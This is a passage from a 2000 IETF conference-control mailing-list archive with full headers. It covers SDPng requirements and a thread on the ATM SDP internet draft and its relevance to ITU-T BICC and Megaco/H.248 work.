2/ (This requirement is most relevant to the use of SDPng within SAP.)
I would like the ability to be able to specify 'session' (or 'subsession') 
descriptors that don't contain *any* channel information (IP address, port, 
ttl etc.) at all.  I.e., these would contain just attribute information 
(plus owner, description, URL etc. information), but not specify an actual 
multimedia session.  (In the SDP multicast session directory, such 
announcements have sometimes been used to send short notices.)

To date, I have been using my own data representation called MAPF 
<http://www.live.com/mafp.txt> - instead of SDP - in some of my 
special-purpose multicast directories in order to overcome many of the 
limitations of SDP  However, I would really like to be able to do away with 
using this, and eventually just use SDPng throughout.

         Ross.


From confctrl-owner  Thu Aug  3 16:27:53 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id NAA09434
	for confctrl-outgoing; Thu, 3 Aug 2000 13:36:27 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA09426
	for <confctrl@zephyr.isi.edu>; Thu, 3 Aug 2000 13:36:24 -0700 (PDT)
Received: from printfile.ietf.marconi.com (printfile.ietf.marconi.com [147.73.128.4])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id NAA23243
	for <confctrl@ISI.EDU>; Thu, 3 Aug 2000 13:37:25 -0700 (PDT)
Received: from localhost.localdomain (wireless-135-215.ietf.marconi.com [147.73.135.215])
	by printfile.ietf.marconi.com (8.9.3/8.9.3) with ESMTP id QAA09870
	for <confctrl@ISI.EDU>; Thu, 3 Aug 2000 16:41:37 -0400 (EDT)
To: confctrl@ISI.EDU
Subject: IETF-48 Mbus presentation slides
From: Dirk Kutscher <dku@tzi.org>
Date: 03 Aug 2000 22:38:20 +0200
Message-ID: <m3hf92m66b.fsf@localhost.localdomain>
Lines: 5
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.7
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


http://www.dmn.tzi.org/ietf/mmusic/mbus/ietf48/

-- 
	Dirk


From confctrl-owner  Fri Aug  4 10:30:41 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA08928
	for confctrl-outgoing; Fri, 4 Aug 2000 10:30:41 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA08923
	for <confctrl@zephyr.isi.edu>; Fri, 4 Aug 2000 10:30:40 -0700 (PDT)
Received: from farley.cisco.com (farley.cisco.com [171.71.153.30])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id KAA22767
	for <confctrl@isi.edu>; Fri, 4 Aug 2000 10:31:44 -0700 (PDT)
Received: from rkumar-ntl (dhcp-71-29-191.cisco.com [171.71.29.191])
	by farley.cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with SMTP id KAA18118;
	Fri, 4 Aug 2000 10:31:02 -0700 (PDT)
Message-Id: <4.1.20000804102108.016ccac0@wanbu-mail.cisco.com>
X-Sender: rkumar@wanbu-mail.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Fri, 04 Aug 2000 10:35:52 -0700
To: Joerg Ott <jo@tzi.uni-bremen.de>
From: Rajesh Kumar <rkumar@cisco.com>
Subject: Reminder//Status of ATM SDP internet draft
Cc: mmostafa@cisco.com, bfoster@cisco.com, Brian.Rosen@marconi.com,
        confctrl@ISI.EDU, atmsdp@eng.fore.com, msf-media@msforum.org
In-Reply-To: <Version.32.20000723153319.04562b40@127.0.0.1>
References: <4.1.20000721073703.00c1fcf0@wanbu-mail.cisco.com>
 <200007211318.e6LDI4x24352@bettina.informatik.uni-bremen.de >
 <4.1.20000720172144.02da8bb0@wanbu-mail.cisco.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_47493011==_.ALT"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=====================_47493011==_.ALT
Content-Type: text/plain; charset="us-ascii"


Hi Jeorg,

At the end of the MMUSIC session on Wednesday, you asked me to remind you to
send me the *comments* you have on draft-rajeshkumar-mmusic-sdp-atm-02.txt.

Please do so. Your help in clearing all technical and logistic hurdles in
moving this internet draft to standards track is critical. Thanks for your help
and co-operation so far.

FYI-

- I have made careful notes of the comments that were provided during my
presentation at the IETF. I do not see any problem in incorporating them into
the next round of the internet draft, which I hope to release in the
mid-September time-frame.
- I am expecting further inputs from  Sean Sheedy. FYI, Sean and I have met
informally before the MMUSIC meeting and talked after the meeting, and we are
in agreement in what needs to be done for MPEG support. Sean needs to confirm
certain things with his CTO, following which he will provide me with detailed
input via email.
- I have found a few more inputs on the atmsdp mailing list following my
return, and I will address each and every one of them.

If we can get all this input sorted out in an internet draft to be posted in
mid-September, what do you think is the time-line for moving this to standards
track?

Thanks

  
- Rajesh Kumar
+--------------------+
|Carrier Packet Voice|
|Cisco Systems       |
|San Jose, California|
+--------------------+
  rkumar@cisco.com                 
  408 527 0811              
 
 

--=====================_47493011==_.ALT
Content-Type: text/html; charset="us-ascii"

<html><div>Hi Jeorg,</div>
<br>
<div>At the end of the MMUSIC session on Wednesday, you asked me to
remind you to send me the *comments* you have on
draft-rajeshkumar-mmusic-sdp-atm-02.txt.</div>
<br>
<div>Please do so. Your help in clearing all technical and logistic
hurdles in moving this internet draft to standards track is critical.
Thanks for your help and co-operation so far.</div>
<br>
<div>FYI-</div>
<br>
<div>- I have made careful notes of the comments that were provided
during my presentation at the IETF. I do not see any problem in
incorporating them into the next round of the internet draft, which I
hope to release in the mid-September time-frame.</div>
<div>- I am expecting further inputs from&nbsp; Sean Sheedy. FYI, Sean
and I have met informally before the MMUSIC meeting and talked after the
meeting, and we are in agreement in what needs to be done for MPEG
support. Sean needs to confirm certain things with his CTO, following
which he will provide me with detailed input via email.</div>
<div>- I have found a few more inputs on the atmsdp mailing list
following my return, and I will address each and every one of
them.</div>
<br>
<div>If we can get all this input sorted out in an internet draft to be
posted in mid-September, what do you think is the time-line for moving
this to standards track?</div>
<br>
<div>Thanks</div>
<br>
&nbsp;
<br>

- Rajesh Kumar<br>
<font size=2 color="#800000">+--------------------+<br>
|Carrier Packet Voice|<br>
|Cisco Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br>
|San Jose, California|<br>
+--------------------+<br>
&nbsp;
rkumar@cisco.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
&nbsp; 408 527
0811<x-tab>&nbsp;&nbsp;</x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
&nbsp;<br>
</font><font face="Garamond" color="#800000"><i>&nbsp;<br>
</font></i></html>

--=====================_47493011==_.ALT--


From confctrl-owner  Mon Aug  7 02:58:44 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA28688
	for confctrl-outgoing; Mon, 7 Aug 2000 02:58:44 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA28683
	for <confctrl@zephyr.isi.edu>; Mon, 7 Aug 2000 02:58:43 -0700 (PDT)
Received: from qhars002.nortel.com (qhars002.NortelNetworks.com [192.100.101.19])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id CAA20404
	for <confctrl@isi.edu>; Mon, 7 Aug 2000 02:59:46 -0700 (PDT)
Received: from zhard00m.europe.nortel.com (actually zhard00m) 
          by qhars002.nortel.com; Mon, 7 Aug 2000 10:52:17 +0100
Received: by zhard00m.europe.nortel.com 
          with Internet Mail Service (5.5.2652.35) id <QN5CZH5C>;
          Mon, 7 Aug 2000 10:52:15 +0100
Message-ID: <61ABD11436FED21192440000F81F3E360304C186@nwcwi1a.europe.nortel.com>
From: "Mark Watson" <mwatson@nortelnetworks.com>
To: "'Rajesh Kumar'" <rkumar@cisco.com>
Cc: confctrl@ISI.EDU, atmsdp@eng.fore.com, msf-media@msforum.org,
        "'BICC ITU-T SG11 (tsg11bicc@ties.itu.int)'" <tsg11bicc@ties.itu.ch>
Subject: RE: Reminder//Status of ATM SDP internet draft
Date: Mon, 7 Aug 2000 10:52:11 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C00055.28651FF0"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C00055.28651FF0
Content-Type: text/plain;
	charset="iso-8859-1"

Hi Rajesh,
 
The ITU-T Study Group 11 BICC group are meeting from 18 to 22nd September.
It would be very useful if your updated draft could be input into that
meeting, so that we can study whether or not it meets the Study Group 11
requirements, and if not whether there is an easy way of getting alignment.
Do you think the draft will be ready by then ?
 
Regards,
 
Mark Watson
Nortel Networks

-----Original Message-----
From: Rajesh Kumar [mailto:rkumar@cisco.com]
Sent: 04 August 2000 18:36
To: Joerg Ott
Cc: mmostafa@cisco.com; bfoster@cisco.com; Brian.Rosen@marconi.com;
confctrl@isi.edu; atmsdp@eng.fore.com; msf-media@msforum.org
Subject: Reminder//Status of ATM SDP internet draft


Hi Jeorg,

At the end of the MMUSIC session on Wednesday, you asked me to remind you to
send me the *comments* you have on draft-rajeshkumar-mmusic-sdp-atm-02.txt.

Please do so. Your help in clearing all technical and logistic hurdles in
moving this internet draft to standards track is critical. Thanks for your
help and co-operation so far.

FYI-

- I have made careful notes of the comments that were provided during my
presentation at the IETF. I do not see any problem in incorporating them
into the next round of the internet draft, which I hope to release in the
mid-September time-frame.
- I am expecting further inputs from  Sean Sheedy. FYI, Sean and I have met
informally before the MMUSIC meeting and talked after the meeting, and we
are in agreement in what needs to be done for MPEG support. Sean needs to
confirm certain things with his CTO, following which he will provide me with
detailed input via email.
- I have found a few more inputs on the atmsdp mailing list following my
return, and I will address each and every one of them.

If we can get all this input sorted out in an internet draft to be posted in
mid-September, what do you think is the time-line for moving this to
standards track?

Thanks

  
- Rajesh Kumar
+--------------------+
|Carrier Packet Voice|
|Cisco Systems       |
|San Jose, California|
+--------------------+
  rkumar@cisco.com                 
  408 527 0811              
 
 



------_=_NextPart_001_01C00055.28651FF0
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.00.2314.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=730003409-07082000>Hi 
Rajesh,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=730003409-07082000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=730003409-07082000>The 
ITU-T Study Group 11 BICC group are meeting from 18 to 22nd September. It would 
be very useful if your updated draft could be input into that meeting, so that 
we can study whether or not it meets the Study Group 11 requirements, and if not 
whether there is an easy way of getting alignment. Do you think the draft will 
be ready by then ?</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=730003409-07082000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=730003409-07082000>Regards,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=730003409-07082000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=730003409-07082000>Mark 
Watson</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=730003409-07082000>Nortel 
Networks</SPAN></FONT></DIV>
<BLOCKQUOTE>
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Rajesh Kumar 
  [mailto:rkumar@cisco.com]<BR><B>Sent:</B> 04 August 2000 18:36<BR><B>To:</B> 
  Joerg Ott<BR><B>Cc:</B> mmostafa@cisco.com; bfoster@cisco.com; 
  Brian.Rosen@marconi.com; confctrl@isi.edu; atmsdp@eng.fore.com; 
  msf-media@msforum.org<BR><B>Subject:</B> Reminder//Status of ATM SDP internet 
  draft<BR><BR></DIV></FONT>
  <DIV>Hi Jeorg,</DIV><BR>
  <DIV>At the end of the MMUSIC session on Wednesday, you asked me to remind you 
  to send me the *comments* you have on 
  draft-rajeshkumar-mmusic-sdp-atm-02.txt.</DIV><BR>
  <DIV>Please do so. Your help in clearing all technical and logistic hurdles in 
  moving this internet draft to standards track is critical. Thanks for your 
  help and co-operation so far.</DIV><BR>
  <DIV>FYI-</DIV><BR>
  <DIV>- I have made careful notes of the comments that were provided during my 
  presentation at the IETF. I do not see any problem in incorporating them into 
  the next round of the internet draft, which I hope to release in the 
  mid-September time-frame.</DIV>
  <DIV>- I am expecting further inputs from&nbsp; Sean Sheedy. FYI, Sean and I 
  have met informally before the MMUSIC meeting and talked after the meeting, 
  and we are in agreement in what needs to be done for MPEG support. Sean needs 
  to confirm certain things with his CTO, following which he will provide me 
  with detailed input via email.</DIV>
  <DIV>- I have found a few more inputs on the atmsdp mailing list following my 
  return, and I will address each and every one of them.</DIV><BR>
  <DIV>If we can get all this input sorted out in an internet draft to be posted 
  in mid-September, what do you think is the time-line for moving this to 
  standards track?</DIV><BR>
  <DIV>Thanks</DIV><BR>&nbsp; <BR>- Rajesh Kumar<BR><FONT color=#800000 
  size=2>+--------------------+<BR>|Carrier Packet Voice|<BR>|Cisco 
  Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>|San Jose, 
  California|<BR>+--------------------+<BR>&nbsp; 
  rkumar@cisco.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  <BR>&nbsp; 408 527 
  0811<X-TAB>&nbsp;&nbsp;</X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  <BR>&nbsp;<BR></FONT><FONT color=#800000 
face=Garamond><I>&nbsp;<BR></BLOCKQUOTE></FONT></I></BODY></HTML>

------_=_NextPart_001_01C00055.28651FF0--

From confctrl-owner  Mon Aug  7 04:12:47 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA01429
	for confctrl-outgoing; Mon, 7 Aug 2000 04:12:47 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA01424
	for <confctrl@zephyr.isi.edu>; Mon, 7 Aug 2000 04:12:45 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id EAA27301
	for <confctrl@isi.edu>; Mon, 7 Aug 2000 04:13:47 -0700 (PDT)
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id e77BDWp03838;
	Mon, 7 Aug 2000 13:13:36 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20])
	by al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id NAA00614;
	Mon, 7 Aug 2000 13:13:31 +0200 (MET DST)
Received: from ericsson.com.au (7-186.epa.ericsson.se [146.11.7.186])
	by elb4.al.edt.ericsson.se (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id NAA13283;
	Mon, 7 Aug 2000 13:13:25 +0200 (MET DST)
Message-ID: <398E99D4.740FA489@ericsson.com.au>
Date: Mon, 07 Aug 2000 21:13:24 +1000
From: Leslie Graf <Leslie.Graf@ericsson.com.au>
Reply-To: Leslie.Graf@ericsson.com.au
Organization: Ericsson Australia
X-Mailer: Mozilla 4.74 [en] (Win98; U)
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: Mark Watson <mwatson@nortelnetworks.com>
CC: "'Rajesh Kumar'" <rkumar@cisco.com>, confctrl@ISI.EDU, atmsdp@eng.fore.com,
        msf-media@msforum.org,
        "'BICC ITU-T SG11 (tsg11bicc@ties.itu.int)'" <tsg11bicc@ties.itu.ch>
Subject: Re: Reminder//Status of ATM SDP internet draft
References: <61ABD11436FED21192440000F81F3E360304C186@nwcwi1a.europe.nortel.com>
Content-Type: multipart/alternative;
 boundary="------------9E2532EF478E4C71903744DF"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--------------9E2532EF478E4C71903744DF
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Mark,
I am also very interested in this for work I am involved in (nothingto
do with BICC). However what I am missing at the moment is seeing the
significance of the ATM additions to SDP to the work for BICC CS2.
As you are aware of have concerns on the timeframe in meeting our
objectives for CS2 by the end of the year. Could you please enlighten me
with why this should be of any interest to BICC CS2, is anyone planning
for ATM BCP's using SDP for BICC environment?
This is the only item I can think of which would make it relevant.
Regards Leslie

Mark Watson wrote:

>  Hi Rajesh,The ITU-T Study Group 11 BICC group are meeting from 18 to
> 22nd September. It would be very useful if your updated draft could be
> input into that meeting, so that we can study whether or not it meets
> the Study Group 11 requirements, and if not whether there is an easy
> way of getting alignment. Do you think the draft will be ready by then
> ?Regards,Mark WatsonNortel Networks
>
>      -----Original Message-----
>      From: Rajesh Kumar [mailto:rkumar@cisco.com]
>      Sent: 04 August 2000 18:36
>      To: Joerg Ott
>      Cc: mmostafa@cisco.com; bfoster@cisco.com;
>      Brian.Rosen@marconi.com; confctrl@isi.edu;
>      atmsdp@eng.fore.com; msf-media@msforum.org
>      Subject: Reminder//Status of ATM SDP internet draft
>
>      Hi Jeorg,At the end of the MMUSIC session on Wednesday, you
>      asked me to remind you to send me the *comments* you have on
>      draft-rajeshkumar-mmusic-sdp-atm-02.txt.Please do so. Your
>      help in clearing all technical and logistic hurdles in
>      moving this internet draft to standards track is critical.
>      Thanks for your help and co-operation so far.FYI-- I have
>      made careful notes of the comments that were provided during
>      my presentation at the IETF. I do not see any problem in
>      incorporating them into the next round of the internet
>      draft, which I hope to release in the mid-September
>      time-frame.- I am expecting further inputs from  Sean
>      Sheedy. FYI, Sean and I have met informally before the
>      MMUSIC meeting and talked after the meeting, and we are in
>      agreement in what needs to be done for MPEG support. Sean
>      needs to confirm certain things with his CTO, following
>      which he will provide me with detailed input via email.- I
>      have found a few more inputs on the atmsdp mailing list
>      following my return, and I will address each and every one
>      of them.If we can get all this input sorted out in an
>      internet draft to be posted in mid-September, what do you
>      think is the time-line for moving this to standards
>      track?Thanks
>
>      - Rajesh Kumar
>      +--------------------+
>      |Carrier Packet Voice|
>      |Cisco Systems       |
>      |San Jose, California|
>      +--------------------+
>        rkumar@cisco.com
>        408 527 0811
>
>
>

--------------9E2532EF478E4C71903744DF
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Hi Mark,
<br>I am also very interested in this for work I am involved in (nothingto
do with BICC). However what I am missing at the moment is seeing the significance
of the ATM additions to SDP to the work for BICC CS2.
<br>As you are aware of have concerns on the timeframe in meeting our objectives
for CS2 by the end of the year. Could you please enlighten me with why
this should be of any interest to BICC CS2, is anyone planning for ATM
BCP's using SDP for BICC environment?
<br>This is the only item I can think of which would make it relevant.
<br>Regards Leslie
<p>Mark Watson wrote:
<blockquote TYPE=CITE>&nbsp;<span class=730003409-07082000><font face="Arial"><font color="#0000FF"><font size=-1>Hi
Rajesh,</font></font></font></span><span 
class=730003409-07082000></span><span class=730003409-07082000><font face="Arial"><font color="#0000FF"><font size=-1>The
ITU-T Study Group 11 BICC group are meeting from 18 to 22nd September.
It would be very useful if your updated draft could be input into that
meeting, so that we can study whether or not it meets the Study Group 11
requirements, and if not whether there is an easy way of getting alignment.
Do you think the draft will be ready by then ?</font></font></font></span><span 
class=730003409-07082000></span><span 
class=730003409-07082000><font face="Arial"><font color="#0000FF"><font size=-1>Regards,</font></font></font></span><span 
class=730003409-07082000></span><span class=730003409-07082000><font face="Arial"><font color="#0000FF"><font size=-1>Mark
Watson</font></font></font></span><span class=730003409-07082000><font face="Arial"><font color="#0000FF"><font size=-1>Nortel
Networks</font></font></font></span>
<blockquote>
<div class="OutlookMessageHeader" dir="ltr"><font face="Tahoma"><font size=-1>-----Original
Message-----</font></font>
<br><font face="Tahoma"><font size=-1><b>From:</b> Rajesh Kumar [<A HREF="mailto:rkumar@cisco.com">mailto:rkumar@cisco.com</A>]</font></font>
<br><font face="Tahoma"><font size=-1><b>Sent:</b> 04 August 2000 18:36</font></font>
<br><font face="Tahoma"><font size=-1><b>To:</b> Joerg Ott</font></font>
<br><font face="Tahoma"><font size=-1><b>Cc:</b> mmostafa@cisco.com; bfoster@cisco.com;
Brian.Rosen@marconi.com; confctrl@isi.edu; atmsdp@eng.fore.com; msf-media@msforum.org</font></font>
<br><font face="Tahoma"><font size=-1><b>Subject:</b> Reminder//Status
of ATM SDP internet draft</font></font>
<br>&nbsp;</div>
Hi Jeorg,At the end of the MMUSIC session on Wednesday, you asked me to
remind you to send me the *comments* you have on draft-rajeshkumar-mmusic-sdp-atm-02.txt.Please
do so. Your help in clearing all technical and logistic hurdles in moving
this internet draft to standards track is critical. Thanks for your help
and co-operation so far.FYI-- I have made careful notes of the comments
that were provided during my presentation at the IETF. I do not see any
problem in incorporating them into the next round of the internet draft,
which I hope to release in the mid-September time-frame.- I am expecting
further inputs from&nbsp; Sean Sheedy. FYI, Sean and I have met informally
before the MMUSIC meeting and talked after the meeting, and we are in agreement
in what needs to be done for MPEG support. Sean needs to confirm certain
things with his CTO, following which he will provide me with detailed input
via email.- I have found a few more inputs on the atmsdp mailing list following
my return, and I will address each and every one of them.If we can get
all this input sorted out in an internet draft to be posted in mid-September,
what do you think is the time-line for moving this to standards track?Thanks
<p>- Rajesh Kumar
<br><font color="#800000"><font size=-1>+--------------------+</font></font>
<br><font color="#800000"><font size=-1>|Carrier Packet Voice|</font></font>
<br><font color="#800000"><font size=-1>|Cisco Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|</font></font>
<br><font color="#800000"><font size=-1>|San Jose, California|</font></font>
<br><font color="#800000"><font size=-1>+--------------------+</font></font>
<br><font color="#800000"><font size=-1>&nbsp; rkumar@cisco.com</font></font>
<br><font color="#800000"><font size=-1>&nbsp; 408 527 0811</font></font><X-TAB></X-TAB>
<br>&nbsp;
<br>&nbsp;</blockquote>
</blockquote>
</html>

--------------9E2532EF478E4C71903744DF--


From confctrl-owner  Mon Aug  7 04:51:58 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA02929
	for confctrl-outgoing; Mon, 7 Aug 2000 04:51:58 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA02924
	for <confctrl@zephyr.isi.edu>; Mon, 7 Aug 2000 04:51:56 -0700 (PDT)
Received: from qhars002.nortel.com (qhars002.NortelNetworks.com [192.100.101.19])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id EAA00933
	for <confctrl@isi.edu>; Mon, 7 Aug 2000 04:53:00 -0700 (PDT)
Received: from zhard00m.europe.nortel.com (actually zhard00m) 
          by qhars002.nortel.com; Mon, 7 Aug 2000 12:40:27 +0100
Received: by zhard00m.europe.nortel.com 
          with Internet Mail Service (5.5.2652.35) id <QN5CZNF9>;
          Mon, 7 Aug 2000 12:40:26 +0100
Message-ID: <61ABD11436FED21192440000F81F3E360304C188@nwcwi1a.europe.nortel.com>
From: "Mark Watson" <mwatson@nortelnetworks.com>
To: "'Leslie.Graf@ericsson.com.au'" <Leslie.Graf@ericsson.com.au>
Cc: "'Rajesh Kumar'" <rkumar@cisco.com>, confctrl@ISI.EDU, atmsdp@eng.fore.com,
        msf-media@msforum.org,
        "'BICC ITU-T SG11 (tsg11bicc@ties.itu.int)'" <tsg11bicc@ties.itu.ch>
Subject: RE: Reminder//Status of ATM SDP internet draft
Date: Mon, 7 Aug 2000 12:40:20 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C00064.4440F050"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C00064.4440F050
Content-Type: text/plain;
	charset="iso-8859-1"

Leslie,
 
Unless I have missed something, SDP is the way that Megaco/H.248
communicates a variety of parameters between MGC and MG, and this work is
the IETFs approach to extending Megaco/H.248 to support ATM bearer types.
 
We need a way of communicating the BIWF address and BNC ID from MG to MGC so
that they can then be placed in the BAT ASE for the non-tunnelled Bearer
Control case that we use with ATM. This draft provides such a capability
(amongst many other things more relevant to the BMC interface than CBC).
 
I think that IETF and ITU-T approaches to the non-tunnelled bearer control
case are slightly different, but amongst all the noise, we are both trying
to solve the same problem of communicating these two information elements on
the vertical interface, so we should at least study whether there is scope
for an aligned solution.
 
Regards,
 
Mark Watson
Nortel Networks

-----Original Message-----
From: Leslie Graf [mailto:Leslie.Graf@ericsson.com.au]
Sent: 07 August 2000 12:13
To: Watson, Mark [MAIFP:EP11-M:EXCH]
Cc: 'Rajesh Kumar'; confctrl@isi.edu; atmsdp@eng.fore.com;
msf-media@msforum.org; 'BICC ITU-T SG11 (tsg11bicc@ties.itu.int)'
Subject: Re: Reminder//Status of ATM SDP internet draft


Hi Mark, 
I am also very interested in this for work I am involved in (nothingto do
with BICC). However what I am missing at the moment is seeing the
significance of the ATM additions to SDP to the work for BICC CS2. 
As you are aware of have concerns on the timeframe in meeting our objectives
for CS2 by the end of the year. Could you please enlighten me with why this
should be of any interest to BICC CS2, is anyone planning for ATM BCP's
using SDP for BICC environment? 
This is the only item I can think of which would make it relevant. 
Regards Leslie 

Mark Watson wrote: 


 Hi Rajesh,The ITU-T Study Group 11 BICC group are meeting from 18 to 22nd
September. It would be very useful if your updated draft could be input into
that meeting, so that we can study whether or not it meets the Study Group
11 requirements, and if not whether there is an easy way of getting
alignment. Do you think the draft will be ready by then ?Regards,Mark
WatsonNortel Networks 

-----Original Message----- 
From: Rajesh Kumar [ mailto:rkumar@cisco.com <mailto:rkumar@cisco.com> ] 
Sent: 04 August 2000 18:36 
To: Joerg Ott 
Cc: mmostafa@cisco.com; bfoster@cisco.com; Brian.Rosen@marconi.com;
confctrl@isi.edu; atmsdp@eng.fore.com; msf-media@msforum.org 
Subject: Reminder//Status of ATM SDP internet draft 
 
Hi Jeorg,At the end of the MMUSIC session on Wednesday, you asked me to
remind you to send me the *comments* you have on
draft-rajeshkumar-mmusic-sdp-atm-02.txt.Please do so. Your help in clearing
all technical and logistic hurdles in moving this internet draft to
standards track is critical. Thanks for your help and co-operation so
far.FYI-- I have made careful notes of the comments that were provided
during my presentation at the IETF. I do not see any problem in
incorporating them into the next round of the internet draft, which I hope
to release in the mid-September time-frame.- I am expecting further inputs
from  Sean Sheedy. FYI, Sean and I have met informally before the MMUSIC
meeting and talked after the meeting, and we are in agreement in what needs
to be done for MPEG support. Sean needs to confirm certain things with his
CTO, following which he will provide me with detailed input via email.- I
have found a few more inputs on the atmsdp mailing list following my return,
and I will address each and every one of them.If we can get all this input
sorted out in an internet draft to be posted in mid-September, what do you
think is the time-line for moving this to standards track?Thanks 

- Rajesh Kumar 
+--------------------+ 
|Carrier Packet Voice| 
|Cisco Systems       | 
|San Jose, California| 
+--------------------+ 
  rkumar@cisco.com 
  408 527 0811 
  
 


------_=_NextPart_001_01C00064.4440F050
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.00.2314.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=600393611-07082000>Leslie,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=600393611-07082000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=600393611-07082000>Unless 
I have missed something, SDP is the way that Megaco/H.248 communicates a variety 
of parameters between MGC and MG, and this work is the IETFs approach to 
extending Megaco/H.248 to support ATM bearer types.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=600393611-07082000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=600393611-07082000>We 
need a way of communicating the BIWF address and BNC ID from MG to MGC so that 
they can then be placed in the BAT ASE for the non-tunnelled Bearer Control case 
that we use with ATM. This draft provides such a capability (amongst many other 
things more relevant to the BMC interface than CBC).</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=600393611-07082000></SPAN></FONT>&nbsp;</DIV>
